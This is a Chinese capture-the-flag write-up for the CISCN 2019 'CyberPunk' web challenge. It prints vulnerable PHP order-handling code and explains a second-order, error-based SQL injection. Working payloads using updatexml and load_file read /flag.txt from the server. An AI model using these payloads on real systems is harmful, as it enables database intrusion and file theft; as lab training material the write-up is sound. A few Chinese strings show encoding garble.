[CISCN2019 华北赛区 Day1 Web5]CyberPunk

查看源码

可能有用伪协议读取源码

利用此方法依次读取到delete.php,confirm.php,change.php,search.php,不一一展示了，直接看存在漏洞的confirm.php和change.php

//confirm.php


require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不å
¨";
}
?>

//change.php


require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不å
¨";
}
?>

payload
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

过程:
首先在提交订单的页面分别提交1,1,payload

提交完成后，这时地址栏的报错注入语句就被储存到了address

接下来在修改收货地址的页面输入1,1,1

这个时候我们刚才在地址栏输入的报错注入语句就会显示在old_address后面，进而执行语句

注意我们在提交订单页面的address是没有进行过滤的，所以单引号也是存在的，正好可以闭合old_address的单引号

两个payload都执行一遍就可以了